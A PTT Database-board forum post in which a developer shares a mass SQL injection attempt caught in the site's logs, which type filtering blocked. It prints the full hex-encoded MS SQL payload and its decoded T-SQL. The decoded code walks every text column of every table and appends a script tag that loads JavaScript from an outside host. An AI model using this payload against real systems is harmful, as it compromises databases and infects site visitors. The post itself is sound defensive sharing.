Database 板


LINE

最近站上log紀錄到無差別sqj inection 攻擊 , 還好我們底層採用的是hibernate , 有作型別的過濾. 不過還是提出來和各位版友分享一下...:p 我們站上有個頁面的link是長得像這樣 spec_item.action?sid=123231300010162050 我們收到的log , 則是有人試圖用底下這樣的sid parameter 來闖關而被攔下來. 這其中夾雜一段預儲程序 , 他非常的長, 原始log是沒斷行,為了展示方便才斷行的. "211371000010162267';DECLARE @S CHAR(4000);SET @S= CAST(0x4445434C4152452040542076617263686172283235352 92C40432076617263686172283430303029204445434C415245205461626 C655F437572736F7220435552534F5220464F522073656C65637420612E6 E616D652C622E6E616D652066726F6D207379736F626A6563747320612C7 37973636F6C756D6E73206220776865726520612E69643D622E696420616 E6420612E78747970653D27752720616E642028622E78747970653D39392 06F7220622E78747970653D3335206F7220622E78747970653D323331206 F7220622E78747970653D31363729204F50454E205461626C655F4375727 36F72204645544348204E4558542046524F4D20205461626C655F4375727 36F7220494E544F2040542C4043205748494C4528404046455443485F535 4415455533D302920424547494E20657865632827757064617465205B272 B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C6 53E3C736372697074207372633D22687474703A2F2F777777322E7338303 0716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212 D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F742 06C696B6520272725223E3C2F7469746C653E3C736372697074207372633 D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F7 72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4 558542046524F4D20205461626C655F437572736F7220494E544F2040542 C404320454E4420434C4F5345205461626C655F437572736F72204445414 C4C4F43415445205461626C655F437572736F72 AS CHAR(4000)); EXEC(@S);" 他將程式碼encode , 然後再透過 cast decode , 最後透過exec執行. 這是針對 ms sql 來的攻擊方案 , 我用ms sql decode這段code的 原始字串(當然不會傻到去執行他啦) 出來是長這樣(其中h ttp:// 為了避免有人誤點 , 刪掉// .) DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title> <script src="http:www2.s800qn.cn/csrss/w.js"></script> <!--''+['+@C+'] where '+@C+' not like ''%"></title> <script src="http:www2.s800qn.cn/csrss/w.js"></script><!--''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 也就是塞一段script進你的資料庫裡面... 有興趣的人可以google www2.s800qn.cn/csrss/w.js 看有多少站被hack. 這是弟coding經驗中 , 難得看到的實務攻擊 , 所以提出來聊作為分享. -- What do you want to have ? / What do you have? 從書本中,你可以發現我的各種興趣。 從CD中,你可以瞭解我所喜歡的偶像明星。 或許從文字你很難以瞭解一個人,但從物品可以。 My PPolis , My past. http://ppolis.tw/user/Tony --



※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 221.169.78.140
1F:推 qrtt1:應該是 webwork 欄位轉換截住的 10/18 09:53







like.gif 您可能會有興趣的文章
icon.png[問題/行為] 貓晚上進房間會不會有憋尿問題
icon.pngRe: [閒聊] 選了錯誤的女孩成為魔法少女 XDDDDDDDDDD
icon.png[正妹] 瑞典 一張
icon.png[心得] EMS高領長版毛衣.墨小樓MC1002
icon.png[分享] 丹龍隔熱紙GE55+33+22
icon.png[問題] 清洗洗衣機
icon.png[尋物] 窗台下的空間
icon.png[閒聊] 双極の女神1 木魔爵
icon.png[售車] 新竹 1997 march 1297cc 白色 四門
icon.png[討論] 能從照片感受到攝影者心情嗎
icon.png[狂賀] 賀賀賀賀 賀!島村卯月!總選舉NO.1
icon.png[難過] 羨慕白皮膚的女生
icon.png閱讀文章
icon.png[黑特]
icon.png[問題] SBK S1安裝於安全帽位置
icon.png[分享] 舊woo100絕版開箱!!
icon.pngRe: [無言] 關於小包衛生紙
icon.png[開箱] E5-2683V3 RX480Strix 快睿C1 簡單測試
icon.png[心得] 蒼の海賊龍 地獄 執行者16PT
icon.png[售車] 1999年Virage iO 1.8EXi
icon.png[心得] 挑戰33 LV10 獅子座pt solo
icon.png[閒聊] 手把手教你不被桶之新手主購教學
icon.png[分享] Civic Type R 量產版官方照無預警流出
icon.png[售車] Golf 4 2.0 銀色 自排
icon.png[出售] Graco提籃汽座(有底座)2000元誠可議
icon.png[問題] 請問補牙材質掉了還能再補嗎?(台中半年內
icon.png[問題] 44th 單曲 生寫竟然都給重複的啊啊!
icon.png[心得] 華南紅卡/icash 核卡
icon.png[問題] 拔牙矯正這樣正常嗎
icon.png[贈送] 老莫高業 初業 102年版
icon.png[情報] 三大行動支付 本季掀戰火
icon.png[寶寶] 博客來Amos水蠟筆5/1特價五折
icon.pngRe: [心得] 新鮮人一些面試分享
icon.png[心得] 蒼の海賊龍 地獄 麒麟25PT
icon.pngRe: [閒聊] (君の名は。雷慎入) 君名二創漫畫翻譯
icon.pngRe: [閒聊] OGN中場影片:失蹤人口局 (英文字幕)
icon.png[問題] 台灣大哥大4G訊號差
icon.png[出售] [全國]全新千尋侘草LED燈, 水草

請輸入看板名稱,例如:Soft_Job站內搜尋

TOP